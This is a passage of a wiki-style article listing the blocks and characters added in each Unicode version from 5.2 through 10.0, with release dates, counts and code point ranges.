* Udaat and yakash signs (total 2 characters) were added to '''Gurmukhi'''.
* Vocalic rr, l and ll (total 3 characters) were added to '''Oriya'''.
* Om symbol (ௐ) (total 1 character) was added to '''Tamil'''.
* Avagraha, additional phonetic letters, vocalic l and ll, fractional signs and tuumu (total 13 characters) were added to '''Telugu'''.
* Avagraha, vocalic rr, l and ll, Malayalam numerics and fractions and chillu letters (total 17 characters) were added to '''Malayalam'''.
* Letters for Balti and various symbols (total 6 characters) were added to '''Tibetan'''.
* Characters for various languages (total 78 characters) were added to '''Myanmar'''.
* Manchu Ali Gali lha (ᢪ) (total 1 character) was added to '''Mongolian'''.
* Miscellaneous combining marks (total 28 characters) were added to '''Combining Diacritical Marks Supplement'''.
* Medievalist latin letters and miscellaneous letters (total 10 characters) were added to '''Latin Extended Additional'''.
* Invisible plus (+) (total 1 character) was added to '''General Punctuation'''.
* Combining asterisk above ( ⃰)(total 1 character) was added to '''Combining Diacritical Marks for Symbols'''.
* Symbol for Samaritan Source (⅏) (total 1 character) was added to '''Letterlike Symbols'''.
* Archaic Roman Numerals (total 4 characters) were added to '''Number Forms'''.
* Outlined white star and other signs (total 15 characters) were added to '''Miscellaneous Symbols'''.
* Long division and additional mathematical brackets (total 5 characters) were added to '''Miscellaneous Mathematical Symbols-A'''.
* Miscellaneous signs (total 51 characters) were added to '''Miscellaneous Symbols and Arrows'''.
* Additional latin letters (total 12 characters) were added to '''Latin Extended-C'''.
* Additional punctuation (total 23 characters) were added to '''Supplemental Punctuation'''.
* Letter ih (ㄭ) (total 1 character) was added to '''Bopomofo'''.
* Other strokes (total 20 characters) were added to '''CJK Strokes'''.
* Miscellaneous additions (total 8 characters) were added to '''CJK Unified Ideographs'''.
* Africanist tone letters (total 5 characters) were added to '''Modifier Tone Letters'''.
* Miscellaneous letters and symbols (total 112 characters) were added to '''Latin Extended-D'''.
* Continuous macrons for Coptic (total 3 characters) were added to '''Combining Half Marks'''.
* Musical symbol multiple measure rest (𝄩) (total 1 character) was added to '''Musical Symbols'''.

== Unicode 5.2 ==

Unicode 5.2 was released in October 1, 2009. It encoded 107,296 characters, adding 6,648 new characters.

=== New blocks ===

* '''Samaritan''', containing 61 letters for Samaritan script, was added.
* '''Unified Canadian Aboriginal Syllabics Extended''', containing 70 syllables for various cree languages, was added.
* '''Tai Tham''', containing 127 letters for Tai Tham script, was added.
* '''Vedic Extensions''', containing 35 characters for tone marks and signs, was added.
* '''Lisu''', containing 48 letters for Lisu (Fraser) script, was added.
* '''Bamum''', containing 88 letters for Bamum script, was added.
* '''Common Indic Number Forms''', containing 10 fractions and marks, was added.
* '''Devanagari Extended''', containing 28 additional marks, was added.
* '''Hangul Jamo Extended-A''', containing 29 characters for additional old initial consonants in hangul jamo, was added.
* '''Javanese''', containing 91 letters for Javanese script, was added.
* '''Myanmar Extended-A''', containing 28 letters for Khamti Shan in Myanmar, was added.
* '''Tai Viet''', containing 72 letters for Tai Viet script, was added.
* '''Meetei Mayek''', containing 56 letters for Meetei Mayek script, was added.
* '''Hangul Jamo Extended-B''', containing 72 characters for additional old medieval vowels and final consonants in hangul jamo, was added.
* '''Imperial Aramaic''', containing 31 characters for Old Aramaic, was added.
* '''Old South Arabian''', containing 32 letters and numbers for South Arabian, was added.
* '''Avestan''', containing 61 characters for Avestan script, was added.
* '''Inscriptional Parthian''', containing 30 characters for Inscriptional Parthian script, was added.
* '''Inscriptional Pahlavi''', containing 27 characters for Inscriptional Pahlavi script, was added.
* '''Old Turkic''', containing 73 characters for Orkhon script, was added.
* '''Rumi Numeral Symbols''', containing 31 numeric characters used in Fez, Morocco, and elsewhere in North Africa and the Iberian peninsula, between the tenth and seventeenth centuries, was added.
* '''Kaithi''', containing 66 letters for Kaithi script, was added.
* '''Egyptian Hieroglyphs''', containing 1,071 hieroglyphs for Egyptian, was added.
* '''Enclosed Alphanumeric Supplement''', containing 63 additional circled, parenthesized and squared alphanumerics, was added.
* '''Enclosed Ideographic Supplement''', containing 44 squared and tortoised shell bracketed ideographs, was added.
* '''CJK Unified Ideographs Extension C''', containing 4,149 additional Chinese Ideographs, was added.

=== Extended blocks ===

* Abhaz letters (total 2 characters) were added to '''Cyrillic Supplement'''.
* Inverted Candrabinbu and additional signs and letters (total 5 characters) were added to '''Devanagari'''.
* Ganda Mark (৻) (total 1 character) was added to '''Bengali'''.
* Religious svasti signs (total 4 characters) were added to '''Tibetan'''.
* Extensions for Khamti Shan and Alton and Phake (total 4 characters) were added to '''Myanmar'''.
* Additional old initial consonants, medival vowels, and old final consonants (total 16 characters) were added to '''Hangul Jamo'''.
* Hyphen and additional syllables (total 10 characters) were added to '''Unified Canadian Aboriginal Syllabics'''.
* Letter Sua and Tham Digit One (total 3 characters) were added to '''New Tai Lue'''.
* Combing Almost Equal to Below ( ᷽) (total 1 character) was added to '''Combining Diacritical Marks Supplement'''.
* The Live Tournosis, Spesmillo and Tenge signs (total 3 characters) were added to '''Currency Symbols'''.
* Additional vulgar fractions from ARIB STD B24 (total 4 characters) were added to '''Number Forms'''.
* Decimal exponent symbol (⏨) from ARIB STD B24 (total 1 characters) was added to '''Miscellaneous Technical'''.
* A soccer ball and symbols from ARIB STD B24 (total 59 characters) were added to '''Miscellaneous Symbols'''.
* Heavy exclamation mark symbol (❗)  from ARIB STD B24 (total 1 character) was added to '''Dingbats'''.
* Traffic sign, dictionary and map symbols from ARIB STD B24 (total 5 characters) were added to '''Miscellaneous Symbols and Arrows'''.
* Capital letter turned alpha and additions for shona (total 3 characters) were added to '''Latin Extended-C'''.
* Cryptogrammic letters and combining marks (total 7 characters) were added to '''Coptic'''.
* Word separator middle dot used in Avestan (⸱) (total 1 character) was added to '''Supplemental Punctuation'''.
* Circled ideographs and numbers on black squares from ARIB STD B24 (total 12 characters) were added to '''Enclosed CJK Letters and Months'''.
* Miscellaneous additions (total 8 characters) were added to '''CJK Unified Ideographs'''.
* Miscellaneous additions for compatibility (total 3 characters) were added to '''CJK Compatibility Ideographs'''.
* Number two and three (total 2 characters) were added to '''Phoenician'''.

== Unicode 6.0 ==

Unicode 6.0 was released in October 11, 2010. It encoded 109,384 characters, adding 2,088 new characters.

=== New blocks ===

* '''Mandaic''', containing 29 letters for Mandaic script, was added.
* '''Batak''', containing 56 letters for Batak script, was added.
* '''Ethiopic Extended-A''', containing 32 letters for Gamo-Gofa-Dawro, Basketo and Gumuz Ethiophic syllables, was added.
* '''Brahmi''', containing 108 characters for ancient Brahmi abugida, was added.
* '''Bamum Supplement''', containing 761 letters for additional Bamum script, was added.
* '''Kana Supplement''', containing 2 characters for archaic katakana, was added.
* '''Playing Cards''', containing 59 playing cards, was added.
* '''Miscellaneous Symbols and Pictographs''', containing 529 additional symbols, was added.
* '''Emoticons''', containing 63 faces, cat faces and gesture symbols, was added.
* '''Transport and Map Symbols''', containing 70 transportation, traffic signs and other symbols, was added.
* '''Alchemical Symbols''', containing 116 symbols for elements, was added.
* '''CJK Unified Ideographs Extension D''', containing 222 miscellaneous Han ideographs, was added.

=== Extended blocks ===

* Azerbaijani letters (total 2 characters) were added to '''Cyrillic Supplement'''.
* Kashmiri Yeh and Wavy hamza below (total 2 characters) were added to '''Arabic'''.
* Dependent vowel signs and letters used in Kashmiri and Bihari (total 10 characters) were added to '''Devanagari'''.
* Fraction signs (total 6 characters) were added to '''Oriya'''.
* Letters used in scholarly only and letter dot reph (total 3 characters) were added to '''Malayalam'''.
* Leading and Trailing Mchan Rtags (total 6 characters) were added to '''Tibetan'''.
* Additional combining marks (total 2 characters) were added to '''Ethiopic'''.
* Combining Double Inverted Breve Below (᷼) (total 1 character) was added to '''Combining Diacritical Marks Supplement'''.
* Miscellaneous subscript letters (total 8 characters) were added to '''Superscripts and Subscripts'''.
* Indian Rupee Sign (₹) (total 1 character) was added to '''Currency Symbols'''.
* Pointing double triangle and additional mechanical symbols (total 11 characters) were added to '''Miscellaneous Technical'''.
* Ophiucisus, astronomical symbol for uranus and pentagrams (total 6 characters) were added to '''Miscellaneous Symbols'''.
* Additional heavy punctation marks, raised fist, raised hand, sparkles, heavy arithmetic symbols and curly loops (total 16 characters) were added to '''Dingbats'''.
* Squared logicals (total 2 characters) were added to '''Miscellaneous Mathematical Symbols-A'''.
* Separator mark and consonant joiner (total 2 characters) were added to '''Tifinagh'''.
* Bopomofo for Hmu and Ge (total 3 characters) were added to '''Bopomofo Extended'''.
* Reversed Tse (total 2 characters) were added to '''Cyrillic Extended-B'''.
* Additional letters (total 15 characters) were added to '''Latin Extended-D'''.
* Pedagogical symbols (total 16 characters) were added to '''Arabic Presentation Forms-A'''.
* Additional squared, black circled and squared letters and regional indicator letters (total 107 characters) were added to '''Enclosed Alphanumeric Supplement'''.
* Squared katakana, squared ideographs and circled advantage and accept (total 13 characters) were added to '''Enclosed Ideographic Supplement'''.

== Unicode 6.1 ==

Unicode 6.1 was released in January 31, 2012. It encoded 110,116 characters, adding 732 new characters.

=== New blocks ===

* '''Arabic Extended-A''' (U+08A0-U+08FF), containing 39 characters, was added.
* '''Sundanese Supplement''' (U+1CC0-U+1CCF), containing 8 characters, was added.
* '''Meetei Mayek Extensions''' (U+AAE0-U+AAFF), containing 23 characters, was added.
* '''Meroitic Hieroglyphs''' (U+10980-U+1099F), containing 32 characters, was added.
* '''Meroitic Cursive''' (U+109A0-U+109FF), containing 26 characters, was added.
* '''Sora Sompeng''' (U+110D0-U+110FF), containing 35 characters, was added.
* '''Chakma''' (U+11100-U+1114F), containing 67 characters, was added.
* '''Sharada''' (U+11180-U+111DF), containing 83 characters, was added.
* '''Takri''' (U+11680-U+116CF), containing 66 characters, was added.
* '''Miao''' (U+16F00-U+16F9F), containing 133 characters, was added.
* '''Arabic Mathematical Alphabetic Symbols''' (U+1EE00-U+1EEFF), containing 143 characters, was added.

=== Extended blocks ===

* An Armenian Dram sign (total 1 character) was added to '''Armenian'''. (U+058F)
* A sign Samvat (total 1 character) was added to '''Arabic'''. (U+0604)
* An Abbreviation mark (total 1 character) was added to '''Gujarati'''. (U+0AF0)
* Letters for Khmu (total 2 characters) were added to '''Lao'''. (U+0EDE-U+0EDF)
* Capital letter Yn, letter Aen, Hard and Labial sign (total 5 characters) were added to '''Georgian'''. (U+10C7, U+10CD and U+10FD-U+10FF)
* Letters and signs for Old Sundanese (total 9 characters) were added to '''Sundanese'''. (U+1BAB-U+1BAD and U+1BBA-U+1BBF)
* Sign Rotated Ardhavisarga, Candra Above, Jihvamuliya and Uphadhmaniya (total 4 characters) were added to '''Vedic Extensions'''. (U+1CF3-U+1CF6)
* Mathematical diagonals (total 2 characters) were added to '''Miscellaneous Mathematical Symbols-A'''. (U+27CB and U+27CD)
* A letter Bohairic Khei (total 2 characters) were added to '''Coptic'''. (U+2CF2-U+2CF3)
* Small letters Yn and Aen (total 2 characters) were added to '''Georgian Supplement'''. (U+2D27 and U+2D2D)
* Letters Ye and Yo (total 2 characters) were added to '''Tifinagh'''. (U+2D66-U+2D67)
* (total 10 characters) were added to '''Supplemental Punctuation'''. (U+2E32-U+2E3B)
* An additional ideograph for Kanji (total 1 character) was added to '''CJK Unified Ideographs'''. (U+9FCC)
* Combining letter for Slavonic (total 9 characters) were added to '''Cyrillic Extended-B'''. (U+A674-U+A67B and U+A69F)
* Letter C with Bar, capital letter H with Hook and modifier letters for extended IPA (total 5 characters) were added to '''Latin Extended-D'''. (U+A792-U+A793, U+A7AA and U+A7F8-U+A7F9)
* Some additional ideographs for Korea (total 2 characters) were added to '''CJK Compatibility Ideographs'''. (U+FA2E-U+FA2F)
* Symbols for Canadian legal use (total 2 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F16A-U+1F16B)
* Typikon symbols (total 4 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F540-U+1F543)
* (total 13 characters) were added to '''Emoticons'''. (U+1F600, U+1F611, U+1F615, U+1F617, U+1F619, U+1F61B, U+1F61F, U+1F626-U+1F627, U+1F62C, U+1F62E-U+1F62F and U+1F634)

== Unicode 6.2 ==

Unicode 6.2 was released in September 26, 2012. It encoded 110,117 characters, adding only 1 new character.

=== Extended blocks ===

* A Turkish Lira sign (total 1 character) was added to '''Currency Symbols'''. (U+20BA)

== Unicode 6.3 ==

Unicode 6.3 was released in September 30, 2013. It encoded 110,122 characters, adding only 5 new characters.

=== Extended blocks ===

* A Letter mark (total 1 character) was added to '''Arabic'''. (U+061C)
* Isolate directional format characters (total 4 characters) were added to '''General Punctuation'''. (U+2066-U+2069)

== Unicode 7.0 ==

Unicode 7.0 was released in June 16, 2014. It encoded 112,956 characters, adding 2,834 new characters.

=== New blocks ===

* '''Combining Diacritical Marks Extended''' (U+1AB0-U+1AFF), containing 15 marks, was added.
* '''Myanmar Extended-B''' (U+A9E0-U+A9FF), containing 31 letters, was added.
* '''Latin Extended-E''' (U+AB30-U+AB6F), containing 50 letters, was added.
* '''Coptic Epact Numbers''' (U+102E0-U+102FF), containing 28 numbers, was added.
* '''Old Permic''' (U+10350-U+1037F), containing 43 letters, was added.
* '''Elbasan''' (U+10500-U+1052F), containing 50 letters, was added.
* '''Caucasian Albanian''' (U+10530-U+1056F), containing 53 letters and marks, was added.
* '''Linear A''' (U+10600-U+1077F), containing 341 signs, was added.
* '''Palmyrene''' (U+10860-U+1087F), containing 32 letters, was added.
* '''Nabataean''' (U+10880-U+108AF), containing 40 letters and numbers, was added.
* '''Old North Arabian''' (U+10A80-U+10A9F), containing 32 letters and numbers, was added.
* '''Manichaean''' (U+10AC0-U+10AFF), containing 51 characters, was added.
* '''Psalter Pahlavi''' (U+10B80-U+10BAF), containing 29 characters, was added.
* '''Mahajani''' (U+11150-U+1117F), containing 39 letters and signs, was added.
* '''Sinhala Archaic Numbers''' (U+111E0-U+111FF), containing 20 numbers, was added.
* '''Khojki''' (U+11200-U+1124F), containing 61 characters, was added.
* '''Khudawadi''' (U+112B0-U+112FF), containing 69 characters, was added.
* '''Grantha''' (U+11300-U+1137F), containing 83 characters, was added.
* '''Tirhuta''' (U+11480-U+114DF), containing 82 characters, was added.
* '''Siddham''' (U+11580-U+115FF), containing 72 characters, was added.
* '''Modi''' (U+11600-U+1165F), containing 79 characters, was added.
* '''Warang Citi''' (U+118A0-U+118FF), containing 84 letters and numbers, was added.
* '''Pau Cin Hau''' (U+11AC0-U+11AFF), containing 57 characters, was added.
* '''Mro''' (U+16A40-U+16A6F), containing 43 characters, was added.
* '''Bassa Vah''' (U+16AD0-U+16AFF), containing 36 characters, was added.
* '''Pahawh Hmong''' (U+16B00-U+16B8F), containing 127 letters and signs, was added.
* '''Duployan''' (U+1BC00-U+1BC9F), containing 143 characters, was added.
* '''Shorthand Format Controls''' (U+1BCA0-U+1BCAF), containing 4 format characters, was added.
* '''Mende Kikakui''' (U+1E800-U+1E8DF), containing 213 syllables and numbers, was added.
* '''Ornamental Dingbats''' (U+1F650-U+1F67F), containing 48 pictographic characters, was added.
* '''Geometric Shapes Extended''' (U+1F780-U+1F7FF), containing 85 pictographic characters, was added.
* '''Supplemental Arrows-C''' (U+1F800-U+1F8FF), containing 148 pictographic characters, was added.

=== Extended blocks ===

* A capital letter Yot (total 1 character) was added to '''Greek and Coptic'''. (U+037F)
* Letters for Orok, Komi and Khanty (total 8 characters) were added to '''Cyrillic Supplement'''. (U+0528-U+052F)
* An Eternity sign (total 2 characters) were added to '''Armenian'''. (U+058D-U+058E)
* A Number Mark Above (total 1 character) was added to '''Arabic'''. (U+0605)
* Letters for African, Philippine, Turkic, Berber, Belarusian, Palula and Shina languages (total 8 characters) were added to '''Arabic Extended-A'''. (U+08A1, U+08AD-U+08B2 and U+08FF)
* A letter for Marwari (total 1 character) was added to '''Devanagari'''. (U+0978)
* A sign Anji (total 1 character) was added to '''Bengali'''. (U+0980)
* Sign Candrabindu and letter Llla (total 2 characters) were added to '''Telugu'''. (U+0C00 and U+0C34)
* A Sign Candrabindu (total 1 character) was added to '''Kannada'''. (U+0C81)
* A Sign Candrabindu (total 1 character) was added to '''Malayalam'''. (U+0D01)
* Lith Numerals (total 10 characters) were added to '''Sinhala'''. (U+0DE6-U+0DEF)
* Additional Old English runes (total 8 characters) were added to '''Runic'''. (U+16F1-U+16F8)
* Letters Gyan and Tra (total 2 characters) were added to '''Limbu'''. (U+191D-U+191E)
* Signs for Jaiminiya Sama Veda (total 2 characters) were added to '''Vedic Extensions'''. (U+1CF8-U+1CF9)
* Marks for Germanic and American lexicology (total 15 characters) were added to '''Combining Diacritical Marks Supplement'''. (U+1DE7-U+1DF5)
* Nordic Mark, Manat and Ruble sign (total 3 characters) were added to '''Currency Symbols'''. (U+20BB-U+20BD)
* Playback symbols from Webdings font (total 7 characters) were added to '''Miscellaneous Technical'''. (U+23F4-U+23FA)
* A Scissors symbol from Wingdings 2 font (total 1 character) was added to '''Dingbats'''. (U+2700)
* Arrows for Lithuanian dialectology and symbols from Wingdings 3 font (total 115 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2B4D-U+2B4F, U+2B5A-U+2B5F, U+2B60-U+2B73, U+2B76-U+2B95, U+2B98-U+2BB9, U+2BBD-U+2BC8 and U+2BCA-U+2BD1)
* (total 7 characters) were added to '''Supplemental Punctuation'''. (U+2E3C-U+2E42)
* Early Cyrillic letters and letters for Lithuanian dialectology (total 6 characters) were added to '''Cyrillic Extended-B'''. (U+A698-U+A69D)
* Letters for European, American and African orthography (total 18 characters) were  added to '''Latin Extended-D'''. (U+A794-U+A79F, U+A7AB-U+A7AD, U+A7B0-U+A7B1 and U+A7F7)
* Tone marks for Tai Laing and letters for Shwe Palaung (total 4 characters) were added to '''Myanmar Extended-A'''. (U+AA7C-U+AA7F)
* Combining phonetic marks (total 7 characters) were added to '''Combining Half Marks'''. (U+FE27-U+FE2D)
* Additional mathematical symbols (total 2 characters) were added to '''Ancient Greek Numbers'''. (U+1018B-U+1018C)
* A Greek Tau Rho symbol (total 1 character) was added to '''Ancient Symbols'''. (U+101A0)
* A letter Ess (total 1 character) was added to '''Old Italic'''. (U+1031F)
* A Number Joiner (total 1 character) was added to '''Brahmi'''. (U+1107F)
* Sutra mark and sign Ekam (total 2 characters) were added to '''Sharada'''. (U+111CD and U+111DA)
* Additional cuneiform signs (total 42 characters) were added to '''Cuneiform'''. (U+1236F-U+12398)
* Additional numbers, vulgar fractions and a punctuation mark (total 13 characters) were added to '''Cuneiform Numbers and Punctuation'''. (U+12463-U+1246E and U+12474)
* Red Joker, Fool and trumps (total 23 characters) were added to '''Playing Cards'''. (U+1F0BF and U+1F0E0-U+1F0F5)
* Dingbat normal and negative sans-serif digit zero (total 2 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F10B-U+1F10C)
* Symbols from Webdings, Wingdings 1 and 2 font (total 209 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F321-U+1F32C, U+1F336, U+1F37D, U+1F394-U+1F39F, U+1F3C5, U+1F3CB-U+1F3CE, U+1F3D4-U+1F3DF, U+1F3F1-U+1F3F7, U+1F43F, U+1F441, U+1F4F8, U+1F4FD-U+1F4FE, U+1F53E-U+1F53F, U+1F544-U+1F54A, U+1F568-U+1F579, U+1F57B-U+1F5A3 and U+1F5A5-U+1F5FA)
* Slightly frowning and smiling faces emoji (total 2 characters) were added to '''Emoticons'''. (U+1F641-U+1F642)
* Symbols from Webdings and Wingdings 2 font (total 27 characters) were added to '''Transport and Map Symbols'''. (U+1F6C6-U+1F6CF, U+1F6E0-U+1F6EC and U+1F6F0-U+1F6F3)

== Unicode 8.0 ==

Unicode 8.0 was released in June 17, 2015. It encoded 120,672 characters, adding 7,716 new characters.

=== New blocks ===

* '''Cherokee Supplement''' (U+AB70-U+ABBF), containing 80 lowercase letters, was added.
* '''Hatran''' (U+108E0-U+108FF), containing 26 letters, was added.
* '''Old Hungarian''' (U+10C80-U+10CFF), containing 108 letters, was added.
* '''Multani''' (U+11280-U+112AF), containing 38 letters, was added.
* '''Ahom''' (U+11700-U+1173F), containing 57 letters, was added.
* '''Early Dynastic Cuneiform''' (U+12480-U+1254F), containing 196 characters, was added.
* '''Anatolian Hieroglyphs''' (U+14400-U+1467F), containing 583 characters, was added.
* '''Sutton SignWriting''' (U+1D800-U+1DAAF), containing 672 signs, was added.
* '''Supplemental Symbols and Pictographs''' (U+1F900-U+1F9FF), containing 15 pictographic characters, was added.
* '''CJK Unified Ideographs Extension E''' (U+2B820-U+2CEAF), containing 5762 characters, was added.

=== Extended blocks ===

* Letters for Arwi (total 3 characters) were added to '''Arabic Extended-A'''. (U+08B3-U+08B4 and U+08E3)
* A letter for Avestan transliteration (total 1 character) was added to '''Gujarati'''. (U+0AF9)
* A letter for Andhra Pradesh (total 1 character) was added to '''Telugu'''. (U+0C5A)
* An archaic letter II (total 1 character) was added to '''Malayalam'''. (U+0D5F)
* A letter Mv and small letters (total 7 characters) were added to '''Cherokee'''. (U+13F5 and U+13F8-U+13FD)
* A Georgian Lari sign (total 1 character) was added to '''Currency Symbols'''. (U+20BE)
* Turned digits (total 2 characters) were added to '''Number Forms'''. (U+218A-U+218B)
* Two headed arrows with triangle arrowheads (total 4 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2BEC-U+2BEF)
* Some additional ideographs (total 9 characters) were added to '''CJK Unified Ideographs'''. (U+9FCD-U+9FD5)
* A combining letter Ef (total 1 character) was added to '''Cyrillic Extended-B'''. (U+A69E)
* Sinological dot, phonetic extension for African languages, letters for American and Gabonese orthography (total 7 characters) were added to '''Latin Extended-D'''. (U+A78F and U+A7B2-U+A7B7)
* Sign Siddham and letter Jain Om (total 2 characters) were added to '''Devanagari Extended'''. (U+A8FC-U+A8FD)
* Letters for Yakut transliteration (total 4 characters) were added to '''Latin Extended-E'''. (U+AB60-U+AB63)
* A combining mark for Church Slavonic (total 2 characters) were added to '''Combining Half Marks'''. (U+FE2E-U+FE2F)
* Numerals and vulgar fractions (total 64 characters) were added to '''Meroitic Cursive'''. (U+109BC-U+109BD, U+109C0-U+109CF and U+109D2-U+109FF)
* Sandhi mark, diacritical marks for Kashmiri, sign Siddham and punctuation marks (total 9 characters) were added to '''Sharada'''. (U+111C9-U+111CC and U+111DB-U+111DF)
* Combining Anusvara Above and letter Om (total 2 characters) were added to '''Grantha'''. (U+11300 and U+11350)
* Section marks and alternate letters (total 20 characters) were added to '''Siddham'''. (U+115CA-U+115DD)
* An additional sign (total 1 character) was added to '''Cuneiform'''. (U+12399)
* East-Slavic musical symbols (total 11 characters) were added to '''Musical Symbols'''. (U+1D1DE-U+1D1E8)
* (total 24 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F32D-U+1F32F, U+1F37E-U+1F37F, U+1F3CF-U+1F3D3, U+1F3F8-U+1F3FF, U+1F4FF and U+1F54B-U+1F54F)
* Upside Down Face and Face With Rolling Eyes emoji (total 2 characters) were added to '''Emoticons'''. (U+1F643-U+1F644)
* A Place of Worship emoji (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6D0)

== Unicode 9.0 ==

Unicode 9.0, was released in June 21, 2016. It encoded 128,172 characters, adding 7,500 new characters.

=== New blocks ===

* '''Cyrillic Extended-C''' (U+1C80-U+1C8F), containing 9 letters, was added.
* '''Osage''' (U+104B0-U+104FF), containing 72 letters, was added.
* '''Newa''' (U+11400-U+1147F), containing 92 letters, was added.
* '''Mongolian Supplement''' (U+11660-U+1167F), containing 13 letters, was added.
* '''Bhaiksuki''' (U+11C00-U+11C6F), containing 97 letters, was added.
* '''Marchen''' (U+11C70-U+11CBF), containing 68 letters, was added.
* '''Ideographic Symbols and Punctuation''' (U+16FE0-U+16FFF), containing 1 letter, was added.
* '''Tangut''' (U+17000-U+187FF), containing 6125 letters, was added.
* '''Tangut Components''' (U+18800-U+18AFF), containing 755 letters, was added.
* '''Glagolitic Supplement''' (U+1E000-U+1E02F), containing 38 letters, was added.
* '''Adlam''' (U+1E900-U+1E95F), containing 87 letters, was added.

=== Extended blocks ===

* Letters for Bravanese, Warsh and Quranic marks used in Pakistan (total 23 characters) were added to '''Arabic Extended-A'''. (U+08B6-U+08BD and U+08D4-U+08E2)
* A sign Spacing Candrabindu (total 1 character) were added to '''Kannada'''. (U+0C80)
* Sign Para, Chillu letters and vulgar fractions (total 14 characters) were added to '''Malayalam'''. (U+0D4F, U+0D54-U+0D56, U+0D58-U+0D5E and U+0D76-U+0D78)
* A diacritical mark for Newa (total 1 character) was added to '''Combining Diacritical Marks Supplement'''. (U+1DFB)
* Power symbols (total 4 characters) were added to '''Miscellaneous Technical'''. (U+23FB-U+23FE)
* Punctuation marks for Church Slavonic (total 2 characters) were added to '''Supplemental Punctuation'''. (U+2E43-U+2E44)
* A letter for Unifon (total 1 character) was added to '''Latin Extended-D'''. (U+A7AE)
* A sign Candrabindu (total 1 character) was added to '''Saurashtra'''. (U+A8C5)
* Indiction sign and a currency symbol (total 2 characters) were added to '''Ancient Greek Numbers'''. (U+1018D-U+1018E)
* A sign Sukun (total 1 character) was added to '''Khojki'''. (U+1123E)
* Japanese TV symbols (total 18 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F19B-U+1F1AC)
* A Japanese TV symbol (total 1 character) was added to '''Enclosed Ideographic Supplement'''. (U+1F23B)
* A dancing man and Black Heart emoji (total 2 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F57A and U+1F5A4)
* Octagonal Sign, Shopping Trolley, scooters and a Canoe emoji (total 5 characters) were added to '''Transport and Map Symbols'''. (U+1F6D1-U+1F6D2 and U+1F6F4-U+1F6F6)
* (total 67 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F919-U+1F91E, U+1F920-U+1F927, U+1F930, U+1F933-U+1F93E, U+1F940-U+1F94B, U+1F950-U+1F95E and U+1F985-U+1F991)

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|0030 FE00
|
|short diagonal stroke form # DIGIT ZERO
|-
|1000 FE00
|
|dotted form # MYANMAR LETTER KA
|-
|1002 FE00
|
|dotted form # MYANMAR LETTER GA
|-
|1004 FE00
|
|dotted form # MYANMAR LETTER NGA
|-
|1010 FE00
|
|dotted form # MYANMAR LETTER TA
|-
|1011 FE00
|
|dotted form # MYANMAR LETTER THA
|-
|1015 FE00
|
|dotted form # MYANMAR LETTER PA
|-
|1019 FE00
|
|dotted form # MYANMAR LETTER MA
|-
|101A FE00
|
|dotted form # MYANMAR LETTER YA
|-
|101C FE00
|
|dotted form # MYANMAR LETTER LA
|-
|101D FE00
|
|dotted form # MYANMAR LETTER WA
|-
|1022 FE00
|
|dotted form # MYANMAR LETTER SHAN A
|-
|1031 FE00
|
|dotted form # MYANMAR VOWEL SIGN E
|-
|1075 FE00
|
|dotted form # MYANMAR LETTER SHAN KA
|-
|1078 FE00
|
|dotted form # MYANMAR LETTER SHAN CA
|-
|107A FE00
|
|dotted form # MYANMAR LETTER SHAN NYA
|-
|1080 FE00
|
|dotted form # MYANMAR LETTER SHAN THA
|-
|2205 FE00
|
|zero with long diagonal stroke overlay form # EMPTY SET
|-
|AA60 FE00
|
|dotted form # MYANMAR LETTER KHAMTI GA
|-
|AA61 FE00
|
|dotted form # MYANMAR LETTER KHAMTI CA
|-
|AA62 FE00
|
|dotted form # MYANMAR LETTER KHAMTI CHA
|-
|AA63 FE00
|
|dotted form # MYANMAR LETTER KHAMTI JA
|-
|AA64 FE00
|
|dotted form # MYANMAR LETTER KHAMTI JHA
|-
|AA65 FE00
|
|dotted form # MYANMAR LETTER KHAMTI NYA
|-
|AA66 FE00
|
|dotted form # MYANMAR LETTER KHAMTI TTA
|-
|AA6B FE00
|
|dotted form # MYANMAR LETTER KHAMTI NA
|-
|AA6C FE00
|
|dotted form # MYANMAR LETTER KHAMTI SA
|-
|AA6F FE00
|
|dotted form # MYANMAR LETTER KHAMTI FA
|-
|AA7A FE00
|
|dotted form # MYANMAR LETTER AITON RA
|-
|…
|
|278 additional emoji variation sequences
|}

== Unicode 10.0 ==

Unicode 10.0, was released in June 20, 2017. It encoded 136,690 characters, adding 8,518 new characters.

=== New blocks ===

* '''Syriac Supplement''' (U+0860-U+086F), containing 11 characters, was added.
* '''Zanabazar Square''' (U+11A00-U+11A4F), containing 72 characters, was added.
* '''Soyombo''' (U+11A50-U+11AAF), containing 80 characters, was added.
* '''Masaram Gondi''' (U+11D00-U+11D5F), containing 75 characters, was added.
* '''Kana Extended-A''' (U+1B100-U+1B12F), containing 31 characters, was added.
* '''Nushu''' (U+1B170-U+1B2FF), containing 396 characters, was added.
* '''CJK Unified Ideographs Extension F''' (U+2CEB0-U+2EBEF), containing 7,473 characters, was added.

=== Extended blocks ===

* A Vedic Anusvara and Abbreviation mark (total 2 characters) were added to '''Bengali'''. (U+09FC-U+09FD)
* Letters for Arabic transliteration (total 6 characters) were added to '''Gujarati'''. (U+0AFA-U+0AFF)
* A combining Anusvara Above and Viramas (total 3 characters) were added to '''Malayalam'''. (U+0D00 and U+0D3B-U+0D3C)
* A sign Atikrama (total 1 character) was added to '''Vedic Extensions'''. (U+1CF7)
* Combining diacritical marks for Church Slavonic (total 4 characters) were added to '''Combining Diacritical Marks Supplement'''. (U+1DF6-U+1DF9)
* A Bitcoin sign (total 1 character) was added to '''Currency Symbols'''. (U+20BF)
* An Observe Eye symbol (total 1 character) was added to '''Miscellaneous Technical'''. (U+23FF)
* A Group mark (total 1 character) was added to '''Miscellaneous Symbols and Arrows'''. (U+2BD2)
* Medieval punctuation marks (total 5 characters) were added to '''Supplemental Punctuation'''. (U+2E45-U+2E49)
* A letter O with Dot Above (total 1 character) was added to '''Bopomofo'''. (U+312E)
